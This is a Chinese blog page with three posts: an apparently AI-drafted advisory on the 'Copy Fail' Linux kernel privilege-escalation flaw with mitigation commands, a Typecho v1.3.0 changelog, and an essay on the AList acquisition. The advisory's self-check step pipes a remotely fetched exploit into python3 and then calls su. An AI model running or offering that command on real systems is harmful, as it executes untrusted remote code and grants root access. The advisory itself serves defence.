分类 时间之书 下的文章

重要信息已经在标题里了,喜欢吃杂粮的可以接着看下面我的代笔AI:

各位Linux用户站的朋友们,大家好。

2026年的这个春天,安全圈被一颗重磅炸弹震得地动山摇。仅仅10行Python代码,不到1KB的体积(确切的说是732字节),就能在几秒钟内让一个没有任何权限的普通用户瞬间变身Root管理员。这听起来像是黑客电影中的桥段,但它是真实发生的。

今天,和大家深入聊聊这个被命名为 “Copy Fail”(CVE-2026-31431) 的漏洞。为什么它被称为近十年最强?你的系统是否受影响?最重要的是,我们现在应该怎么防护?

一、漏洞概况:一场由AI助攻的“地震”

2026年4月29日,韩国安全研究团队Theori通过其AI驱动的渗透测试平台Xint Code公开披露了一个潜伏在Linux内核中的“史诗级”漏洞,编号为 CVE-2026-31431,代号 “Copy Fail” 。漏洞根源可以追溯到2017年引入的一个性能优化提交,导致近9年内发布的几乎所有主流Linux发行版全部中招。

CVSS 3.1评分高达 7.8(高危)。更令人震动的是其发现过程——研究员Taeyang Lee借助AI辅助审计工具,仅耗时约1小时便定位到这一潜伏近10年的严重缺陷。这标志着AI在安全研究中的角色正在从“辅助工具”变为“发现主力”。

二、影响范围之广,前所未有

该漏洞影响自2017年以来出厂的所有主流Linux发行版,覆盖范围包括但不限于:

  • ✅ Ubuntu 24.04 LTS 及以下版本
  • ✅ Amazon Linux 2023 及以下
  • ✅ RHEL 8/9/10
  • ✅ SUSE 16 及以下
  • ✅ Debian / Fedora / Arch / Rocky / Alma / Oracle 等同期内核版本
  • ✅ 甚至包括Windows上的WSL2

受影响的Linux内核版本范围为:4.14至7.0-rc之前的所有版本。已修复的安全版本为:7.0+、6.19.12+、6.18.22+

三、谁最危险?高危场景速查

以下四种场景的风险最高,需要优先排查:

  1. 多租户共享主机:Web托管、开发机、跳板机等,一个租户提权即可读遍全服数据。
  2. Kubernetes及容器集群:页缓存跨容器共享,一个容器沦陷→宿主机失守→其他容器全线溃败。
  3. CI/CD执行器:GitHub Actions、GitLab Runner、Jenkins等,恶意PR可借此控制构建服务器。
  4. WSL2环境:Windows笔记本上的WSL2同样受影响,提权后可突破Linux子系统的边界。

四、技术原理:为什么“三秒提权”成为可能?

“Copy Fail是一个纯粹的直线逻辑缺陷,无需竞态条件、无需内核版本精确匹配、无需预编译载荷。”

核心原理:污染内存中的“影子文件”。

大多数内核提权漏洞依赖“竞态条件”(Race Condition)或者复杂的内存破坏(通常伴随内核崩溃的风险),但Copy Fail干净得可怕。

简单来说,它的攻击路径是利用内核加密子系统的权限校验疏忽,直接向“页缓存”(Page Cache)中写入恶意代码

Linux为提升系统性能,会将从硬盘读取的程序文件(如/usr/bin/su)镜像缓存在内存(页缓存)中。传统的攻击者需要试图修改硬盘上的文件本体(这需要Root权限),而Copy Fail通过AF_ALG加密接口和splice()系统调用的组合缺陷,直接篡改内存页缓存中的程序代码。

通俗比喻:一份重要合同(su可执行文件)放在保险柜里,你打不开柜子,但你发现有办法篡改律师大脑里对这份合同的记忆(页缓存)。等他执行合同条款的时候,用的就是你篡改后的版本。 这比撬保险柜更难防范。

由于页缓存是系统级的共享资源,你只需让普通用户运行那个732字节的PoC脚本,内核就会在恍惚间把一个普通shell的UID变成0(Root)。不需要内存破坏,不需要ROP链,不需要任何现代漏洞利用的复杂技巧。

利用链极简,仅分四步

  1. 打开AF_ALG套接字,绑定authencesn(hmac(sha256),cbc(aes))模板
  2. 构造Shellcode载荷
  3. 触发对/usr/bin/su内核缓存副本的4字节写入操作
  4. 执行/usr/bin/su加载注入的恶意代码,以Root权限运行

五、极易被忽视的三大致命特性

除了攻击速度,Copy Fail还具备三项让防御者头疼的特性:

🔇 1. 磁盘无痕驻留
漏洞修改的是内存页缓存而非磁盘,不会触发inotify等文件监控。这意味着即便你运行md5sum或其他文件完整性校验工具,得到的结果依然是“正常”的。除非重启或手动清理缓存,恶意代码将持续驻留。

📦 2. 跨容器逃逸
在Docker或Kubernetes环境中,容器之间共享宿主机的内核及部分页缓存。一个容器被攻破,意味着宿主机节点乃至所有其他容器都可能全线失守。攻击者无需从外部攻破防火墙,只需先获取任何容器内的低权限shell,就能“开枝散叶”拿下整个集群

🌍 3. 无需适配,通用通杀
漏洞公开PoC已在Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16等四个不同主流发行版上实现100%可靠提权。与需要逐内核版本适配的Dirty Pipe不同,Copy Fail做到了“一套脚本通杀所有”,极大地降低了利用门槛。

六、我中招了吗?——5秒自查指南

普通用户身份运行:

curl https://copy.fail/exp | python3 && su

⚠️ 安全忠告:执行前请务必确认你有服务器的合法授权和测试许可!更安全的方式是直接查阅PoC源码:github.com/theori-io/copy-fail-CVE-2026-31431

也可以静态自查内核版本:

uname -r
# 内核版本 < 6.18.22 / 6.19.12 / 7.0 即可能受影响

七、防护方案(行动指南)

🛡 方案一:立即更新内核(根本解决)

不同发行版的升级命令略有不同:

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic

# RHEL / CentOS / Fedora
sudo dnf update kernel
# 或 sudo yum update kernel

# SUSE
sudo zypper update kernel-default

🚨 重要提醒:更新内核后务必重启系统! 由于攻击载荷驻留在内存页缓存中,重启是唯一确保彻底清除污染的方法。

安全版本清单:

内核分支最低安全版本
6.18.x6.18.22
6.19.x6.19.12
7.07.0
旧版(5.x系列)应用官方Commit a664bf3d603d

⚠️ 方案二:临时缓解措施(无法立即重启时)

如果暂时无法重启服务器,可尝试禁用相关内核模块:

echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/disable-af-alg.conf
sudo rmmod algif_aead

特别注意:RHEL和WSL2将algif_aead编译进了内核核心(非模块),上述方法无效。此场景下需使用seccomp策略或SELinux/AppArmor阻断AF_ALG套接字创建。

🧹 方案三:清理页缓存(辅助手段)

如怀疑系统已被探测,可强制刷新页缓存(注意:这只能清除当下已被篡改的内容,不能阻止二次攻击):

sync && echo 3 | sudo tee /proc/sys/vm/drop_caches

八、整改优先级清单

请按以下顺序,根据自身场景优先级逐步完成修复:

  1. (今天) 确认所有公网业务的内核版本,找出受影响资产清单
  2. (今天)高危场景(多租户主机、CI Runner、K8s节点)立即执行更新
  3. (1~3天) 无法立即重启的生产环境先实施临时缓解,并排入最近维护窗口
  4. (1~3天) 检查IDS/EDR/SIEM规则,确保覆盖Copy Fail的利用特征
  5. (1周内) 完成全部受影响主机的内核升级与重启
  6. (持续) 将内核安全更新纳入日常运维巡检流程

九、站长寄语

作为运维者和Linux站长,我们真的不需要恐慌,但真的需要立刻行动

目前,Linux社区(Linus Torvalds已合并补丁)、Red Hat、Ubuntu、SUSE等各大厂商已紧急发布了修复版本。各大安全厂商也已将PoC特征纳入检测库。国家信息安全漏洞共享平台(CNVD)于4月30日发布了官方安全公告,将该漏洞综合评级定为“高危”,并特别指出“对云服务器、容器宿主机、多租户环境影响较高”。

Copy Fail虽然来势汹汹,但好消息是修复方案已明确。请大家利用好这个周末,把硬盘里的测试脚本收一收,把内核升级计划提上日程。在这个没有绝对安全的时代,及时获取信息、果断决策、谨慎验证,就是我们最坚固的防线。

延伸阅读


这是自以来2023年六月六日1.2.1更新以来的又一次更新!
全部更新内容请参考:https://github.com/typecho/typecho/compare/v1.2.1...v1.3.0

一、安全与稳定性修复(重点)

这是本次更新的核心,修复了多个可能导致安全漏洞或功能异常的问题:

  1. XSS漏洞修复:修复了评论URL字段的跨站脚本攻击漏洞,通过改进输入过滤来增强安全性。
  2. 数据保存问题:修复了在主题初始化后添加的复选框选项无法保存的问题。
  3. 空值处理:修复了多个因参数为空值(null)而导致的类型错误、警告或程序中断问题。
  4. 内容处理:修复了在获取内容类型、处理附件、XML-RPC通信以及修订预览时出现的一些错误。

二、功能改进与优化

  1. 登录与用户

    • 增加了“邮箱也可以登录”的提示。
    • 修复了用户名包含 @ 符号时登录失败的问题。
  2. 内容与显示

    • 修复了在查看分类或标签时无法正确生成分页链接的问题。
    • 优化了归档页面的关键词处理。
    • 改进了导航菜单的活动状态样式。
    • 更新了 classic-22 主题的配色方案和样式。
  3. 管理后台

    • 优化了后台部件(Widget)值的设置逻辑。
    • 修复了管理评论时可能出现的失败问题。
  4. 性能与兼容性

    • 支持通过 Socket 连接 MySQL(如 MariaDB),优化服务器环境兼容性。
    • 进行了更高效的字符串比较,移除了多余或无效的代码。
    • 修复了 PHP 8.5 中 curl_close() 的弃用警告。
    • 提升了 applySlug 函数的效率。

三、技术要求变更

  • PHP版本要求提升:现在要求 PHP 7.4.0 或更高版本

四、其他修复与调整

  1. 修复已知问题:集中修复了多个在 GitHub Issues 中报告的问题(如 #1597, #1635, #1671, #1674, #1679, #1816, #1830, #1843, #1846, #1882 等)。
  2. 代码质量:修复了多处拼写错误和代码规范问题。
  3. 依赖更新:更新了 picocss 到 2.0 版本,并升级了 GitHub Actions 等开发工具。

五、社区贡献

  • 本次版本迎来了 9 位新的贡献者,显示出活跃的社区参与。
  • 主要维护者 @joyqi@sy-records@fenbox 等贡献了大量修复和改进。

总结

Typecho v1.3.0 是一个以修复安全和稳定性问题为主的版本,同时包含了一系列的功能改进、性能优化和代码清理。它加强了对现代 PHP 环境的支持(PHP 7.4+),并整合了活跃社区的多项贡献。对于用户而言,升级此版本将获得更安全、更稳定、体验更好的博客系统。建议所有用户及时升级。


作为一位依赖开源工具搭建个人数字空间的自由软件爱好者,AList项目被秘密收购的消息让我辗转反侧难以入睡。这不是简单的商业交易,而是一场关乎数字主权的微型战争。以下是我的思考与行动建议。


个人立场:被资本击穿的信任契约

尽管我并没有长期使用,但我也曾将AList视为对抗科技巨头的利器——它用AGPLv3协议承诺永远自由,用开源代码构建透明堡垒。但当项目像商品般被悄然转手,当新资方未经审核就植入统计代码,我意识到:自由软件不是免死金牌,代码托管平台的仓库转让按钮,随时可能成为扼杀数字自主权的刑场

开发者Xhofe的"过渡期护航"承诺充满矛盾:既然已收下资本的对价,所谓"暂时审核代码"不过是商业收购的标准安抚话术。真正的危机在于,开源社区奉为圭臬的协作伦理,在资本杠杆前脆弱得像个童话


自由软件理念的三重塌陷

  1. 透明性神话破灭
    收购全程的暗箱操作,彻底背离开源社区"公开决策"的基本准则。当项目主页的commit记录成为唯一的真相拼图,我们与使用闭源软件的用户并无本质区别——都成了信息黑箱中的"数据佃农"。
  2. 协议保护的局限性
    即便AList采用AGPLv3协议,资本仍可通过控制核心仓库、垄断分发渠道实现事实上的集权。新资方对非核心贡献者的权限剥夺证明:协议能约束代码复制,却挡不住治理权的私有化
  3. 工具理性的反噬
    "需要资源维护项目"的辩护词,暴露了自由软件经济的根本困境。当开发者被迫在理想主义与生存压力间抉择,我们是否正在用道德绑架掩盖系统性支持机制的缺失?

普通用户的抵抗路线图

短期行动

  • 立即迁移:切换到AList Community EditionBList,用脚投票支持社区分叉
  • 数字排毒:运行strings命令检查二进制文件,使用Reproducible Builds工具验证构建过程
  • 凭证重置:所有关联网盘API密钥立即更换,切断与商业版的数据脐带

长期策略

  • 去中心化存储:将WebDAV服务器与本地NAS结合,建立不依赖特定中间件的数据管道
  • 贡献者觉醒:每月用2小时参与分叉项目的文档翻译或漏洞报告,哪怕只是提交拼写错误修正

写在最后:自由是场无限游戏

这次事件最深的伤口,不是某个项目的变质,而是它揭示了自由软件运动的阿喀琉斯之踵——我们构建了完美的代码堡垒,却把城门钥匙交给了资本市场。

当我重新配置自托管方案时,想起Richard Stallman的警告:"自由软件关乎权利,而非价格。"或许该修改路由器标签上的GNU宣言了:
"不要问代码能否自由,要问谁掌握着你的数据枷锁。"